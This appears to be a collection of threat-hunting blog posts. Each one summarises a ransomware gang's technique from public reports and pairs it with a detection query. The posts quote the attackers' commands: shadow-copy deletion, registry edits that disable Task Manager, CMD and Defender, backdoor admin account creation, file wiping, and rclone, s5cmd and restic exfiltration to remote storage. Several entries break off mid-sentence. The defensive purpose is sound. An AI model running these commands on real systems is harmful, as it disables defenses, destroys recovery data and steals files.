Know Your Adversary

Hello everyone! Today, data exfiltration has become a standard stage in almost every ransomware attack. While threat actors often rely on the same set of tools, there are occasional exceptions. According to an Arctic Wolf Labs report , operators behind the Qilin ransomware used Proton Drive for data exfiltration. Proton Drive is a cloud storage service developed by the Swiss company Proton and designed with privacy in mind. Its key feature is end-to-end encryption, meaning files are encrypted on the user's device before they are uploaded to the cloud. Of course, Proton Drive can be used legitimately within enterprise environments. However, it can also serve as an early indicator of ransomware activity, making it a useful candidate for threat hunting. event_type: "processcreatewin" AND proc_file_productname: "Proton Drive" See you soon!

Hello everyone! To be honest, after nearly 400 posts, finding something interesting in public reports has become a bit more challenging. Nevertheless, it’s still possible, and today we’ll once again talk about Exfiltration to Cloud Storage (T1567.002) . This time, the post is sponsored by our partners at Akira , and the following excerpt from a report caught my attention: “Next, the threat actor used the Microsoft Edge browser to access Bing, and search for the term ‘eayupload’ before settling on Easyupload.io, a website that provides access to file uploads via drag-and-drop.” As you can see, the attackers used yet another cloud storage service to upload the data they had collected. Access to such services can be proactively blocked, or you can monitor for suspicious connections to them: event_type: "dnsreq" AND dns_rname: "easyupload.io" Attackers are increasingly relying on legitimate tools and services, so understanding exactly which ones they may use can become...

Hello everyone! Today we’ll talk about another forensic tool that attackers used in the context of the Impair Defenses technique: Disable or Modify Tools (T1562.001) . Once again, the topic is ransomware. This time, we’re looking at the STAC4713 cluster, which distributes the PayoutsKing ransomware. To add exclusions to Windows Defender, the attackers used FTK Imager - a forensic tool designed for creating disk images. The key point is that during installation, this tool allows a selected path to be added to exclusions, which is exactly what the attackers exploited. The following command is executed: powershell -command $ExclusionType;$ExclusionFile = '"ExterroExclusions.txt"';if(Test-Path -path $ExclusionFile ){ $Exclusions = Get-Content $ExclusionFile; foreach ($Item in $Exclusions ) { $ItemTrimmed = $Item.trim(); if($Item.length -gt 0){ if($ItemTrimmed.StartsWith('-')) { $ExclusionType = $ItemTrimmed; Write-Host $ExclusionType; } elseif ( !($ItemTrimmed.St...

Hello everyone! Today we’ll go over several techniques from the Warlock ransomware attack report that caught my attention. So, the first technique is Windows Credential Manager (T1555.004) . The attackers used the following command to access saved passwords: C:\Windows\System32\rundll32.exe keymgr.dll,KRShowKeyMgr This kind of behavioral indicator isn’t very common, so it works well for threat hunting: event_type: "processcreatewin" AND proc_file_path: "rundll32.exe" AND cmdline: ("keymgr.dll" AND "KRShowKeyMgr") The next technique is PowerShell (T1059.001) . This time, the attackers abused it to enable PowerShell Remoting: C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe "Enable-PSRemoting -Force -SkipNetworkProfileCheck" Although this behavior can be legitimate, it’s still a good target for threat hunting: event_type: "processcreatewin" AND proc_file_path: "powershell.exe" AND cmdline: "Enable-PSRemo...

Hello everyone! Today we'll look at another example of a very common technique - Remote Access Tools: Remote Desktop Software (T1219.002) . Ransomware gangs have lots of such tools in their arsenal. For example, Power Admin -  legitimate tool that provides functionality to monitor servers and applications, as well as file access auditing.  Of course, it may be a good target for detection and hunting, for example: event_type: "processcreatewin" AND proc_file_productname: "pa server monitor" See you tomorrow!

Hello everyone! It's not a secret that ransomware gangs often interact with Volume Shadow Copy Service to  Inhibit System Recovery (T1490) . In most cases it's not a good target for hunting as adversaries abuse it on the latest stages of attack lifecycle. At the same time, they may use scripting to manipulate it, and it may be you last chance to detect malicious activity. For example, Qilin executed the following commands: cmd /C net start vss cmd /C wmic service where name='vss' call ChangeStartMode Manual cmd /C vssadmin.exe Delete Shadows /all /quiet cmd /C net stop vss cmd /C wmic service where name='vss' call ChangeStartMode Disabled I'm sure you have detections for deletion, but what about manipulating the service? So, it may be a good idea to look for abusing wmic.exe for VSS manipulation: event_type: "processcreatewin" AND proc_file_path: "wmic.exe" AND cmdline: "vss" See you tomorrow!

Hello everyone! We talked about Modify Registry (T1112) a few times already, but I spotted a few more interesting procedures, so let's have a look. Our example for today is  VolkLocker . It has a few interesting behaviors related to registry modification. It disables Task Manager: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f Disables Registry Editor: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f Disables Windows Command Shell: reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windo...

Hello everyone! Adversaries often use compromised credentials, but in some cases they can create new accounts. And in some cases they are quite unique, so we can use it for detection and hunting. As always, we need some examples. Let's look into this report . The adversary created new administrator accounts with the following names: backupadmin , admin_gpo and  lapsadmin1 . For example: cmd.exe /c net user backupadmin abcd1234 Suspicious user creation events may be great targets for hunting, so make sure you document it not only for attribution and clustering, but also for detection: event_type: "usercreatewin" AND usr_tgt_name: ("backupadmin" OR "admin_gpo" OR "lapsadmin1") See you tomorrow!

Hello everyone! In many cases adversaries remove artifacts from compromised systems, so today we'll look at a few examples of  Indicator Removal: File Deletion (T1070.004) . And our example for today -  01flip ransomware . It has both Windows and Linux variants. Windows variant removes itself using the following command: ping 127.0.0.7 -n 5 > Nul & fsutil file setZeroData offset=0 length=4194303 ${self_name} > Nul & Del /f /q ${self_name} As you can see, it abuses fsutil to wipe the file. We can look for similar activity: event_type: "processcreatewin" AND proc_file_path: "fsutil.exe" AND cmdline: ("file" AND "setzerodata") Linux variant runs the following command: sleep 5 && dd if=/dev/urandom of=${self_name} bs=1M count=4 > /dev/null 2>&1 && rm ${self_name} > /dev/null 2>&1 Here the adversary abuses dd , and it's another hunting oportunity: event_type: "processcreatenix" AND p...

Hello everyone! Today we'll look at another example of how adversaries abuse legitimate Windows executables to evade defenses. This time it's  SystemSettingsAdminFlows.exe . According to this report , DeadLock leveraged this utility to disable various features of Windows Defender: SystemSettingsAdminFlows.exe Defender RTP 1  SystemSettingsAdminFlows.exe Defender SpynetReporting 0  SystemSettingsAdminFlows.exe Defender SubmitSamplesConsent 0  SystemSettingsAdminFlows.exe Defender DisableEnhancedNotifications 1 The commands disable Real-Time Protection (RTP) and cloud-based protections, stops the machine from sending threat reports to Microsoft, and prevent Windows Defender from automatically submitting suspicious files for analysis. Worth a query, isn't it? event_type: "processcreatewin" AND proc_file_path: "systemsettingsadminflows.exe" AND cmdline: "defender" See you tomorrow!

Hello everyone! Let's look at NetExec one more time, but this time focus on forensic perspective and related artifacts. Recently the tool was used by Lynx ransomware affiliates. And according to the report , it creates multiple folders and files, which can be used both for detection and forensic analysis. Among others, it creates .nxc folder and lots of databases, for example, smb.db , rdp.db , winrm.db , etc. The databases contain the results of execution of corresponding modules, and may be a forensic goldmine! Also, searching for suspicious folders and files creation events may be a good option as well: event_type: "filecreatewin" AND file_path: ("nxc.conf" OR "ftp.db" OR "ldap.db" OR "mssql.db" OR "nfs.db" OR "rdp.db" OR "smb.db" OR "ssh.db" OR "vnc.db" OR "winrm.db" OR "wmi.db") See you tomorrow!

Hello everyone! Let's talk about data exfiltration trends and ransomware. Modern ransomware attacks almost always involve this stage, so it's important to document tools they use to solve this task. According to this report , Qilin ransomware affiliates often abuse Cyberduck for data exfiltration. It's a legitimate open source file transfer client that enables adversary to connect to remote servers and cloud storage services to upload, download, and manage files. As always, we can build hunts based on executable's metadata, for example: event_type: "processcreatewin" AND proc_file_productname: "cyberduck" Also, we can look for resolving Cyberduck-related domains, for example: event_type: "dnsreqwin" AND dns_rname: "cyberduck.io" See you tomorrow!

Hello everyone! Adveraries, especially ransomware gangs, often abuse legitimate RMMs. But do them need to bring such software with them? In some cases - they don't! For example, this case covered by Barracuda. Akira ransomware affiliates got access to Datto RMM tool’s management console and used it to execute the attack. So it's always a good idea to hunt for abnormal RMM-related behavior. To find Datto RMM, for example, you can look for accordingly signed files: event_type: "processcreatewin" AND proc_file_sig: "datto" Also, you can always look for Datto-related domain resolutions: event_type: "dnsreqwin" AND dns_rname: "rmm.datto.com" See you tomorrow!

Hello everyone! Ransomware gangs have almost countless arsenal of legitimate tools, which help them to solve various problems and evade defenses. Let's look at another tool they use for Exfiltration to Cloud Storage (T1567.002) . And we'll look into the report on Akira ransomware. According to it, the gang leveraged the following legitimate tools for exfiltration: WinSCP FileZilla Rclone Bitvise SSH Client The first three are quite common, and most likely already are in your threat hunting library. But what about the last one - Bitvise SSH Client? It may be an interesting target: event_type: "processcreatewin" AND proc_file_productname: "Bitvise SSH Client" See you tomorrow!

Hello everyone! As you know, adversaries may solve lots of problems via interacting with registry. So today we'll look at another few examples of  Modify Registry (T1112) . And one more time it's going to be the Gentlemen . For example, the adversary leverage reg.exe to allows unrestricted NTLM authentication: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f And we can look for such behaviors, of course: event_type: "processcreatewin" AND proc_file_path: "reg.exe" AND cmdline: ("add" AND "MSV1_0") Another example is enabling Restricted Admin: reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f Why not to hunt it: event_type: "processcreatewin" AND proc_file_path: "reg.exe" AND cmdline: ("add" AND "DisableRestrictedAdmin") See you tomorrow!

Hello everyone! Today we'll look at another legitimate tool, which is used by ransomware gangs for Privilege Escalation (TA0004). According to this report , The Gentlemen ransomware gang leveraged PowerRun  to execute high-privilege operations, for example, to terminate security software. It enables adversaries to run various tools under SYSTEM or even TrustedInstaller permissions. For example, we can detect its executions: event_type: "processcreatewin" AND proc_file_productname: "powerrun" Another detection opportunity - INI file creation event: event_type: "filecreatewin" AND file_name: "PowerRun.ini" See you tomorrow!

Hello everyone! Yesterday we looked at how Qilin ransomware gang abused s5cmd to exfiltrate sensitive data from compromised systems. Today we'll look at abother example to understand that the same detections may be applied to various cases. This time we'll look at another very popular tool for data exfiltration - rclone . Here's how Warlock used this tool: TrendSecurity[.]exe copy \\{UNC Path}\ mydrive:/client_42 --protondrive-username [Email] --protondrive-password [Password] -P --include "*.{txt,pdf,csv,accdb,doc,docx,xlsx,mdf,sql,doc,xls,sql,jpg,png,jpeg,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 200d --max-size 3000m As you can see, here we have very similar command line arguments, so we can use the same query: event_type: "processcreatewin" AND cmdline: ("include" AND "pdf" AND "xls" AND "doc") See you tom...

Hello everyone! Data exfiltration. Almost every ransomware-related incident includes this stage. And adversaries often experiment with various free tools to evade defenses. And today we're going to talk about the following technique: Transfer Data to Cloud Account (T1537) . Huntress noted that in a recent Qilin ransomware attack the adversary used s5cmd for exfiltration: s5cmd  --credentials-file credentials cp --include "*.pdf" --include "*.png" --include "*.jpg" --include "*.jpeg" --include "*.xls" --include "*.xlsx" --include "*.tif" --include "*.zip" --include "*.doc" --include "*.docx" "[Folder]" s3://[Resource] For detection, we can use, for example, popular file types: event_type: "processcreatewin" AND cmdline: ("include" AND "pdf" AND "xls" AND "doc") See you tomorrow!

Hello everyone! I'm sure you know that adversaries LOVE RDP. In most cases they use it for lateral movement. Today we'll look at the following technique:  Server Software Component: Terminal Services DLL (T1505.005) . According to this report on Crypto24 ransomware group, the adversary patched termsrv.dll to enable multiple simultaneous RDP connections. The threat actor also executed the following commands related to the DLL: takeown.exe /F C:\Windows\System32\termsrv.dll /A icacls.exe C:\Windows\System32\termsrv.dll /grant Administrators We can use it to build detection logic: event_type: "processcreatewin" AND proc_file_path: ("takeown.exe" OR "icacls.exe") AND cmdline: "termsrv.dll" We can also hunt for file modification events related to  termsrv.dll : event_type: "filewrite" AND file_path: "termsrv.dll" See you tomorrow!

Hello everyone! Ransomware gangs often collect and exfiltrate sensitive data from compromised systems to use it for double extortion. So let's talk about the following technique -  Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002) . Threat actors can use various web services, for example, gofile[.]io or legitimate backup tools - I think everyone seen at least an attack description with rclone in it. To evade detection, adversaries need to change their tool from time to time, and in some cases they approach it in an original way. For example,  Noberus ransomware gang leveraged Restic - another legitimate backup tool: CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ init [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt --use-fs-snapshot --verbose backup "CSIDL_SYSTEM_DRIVE\[REMOVED]" The tool doesn't have lots of metadata, but you still can use uniq...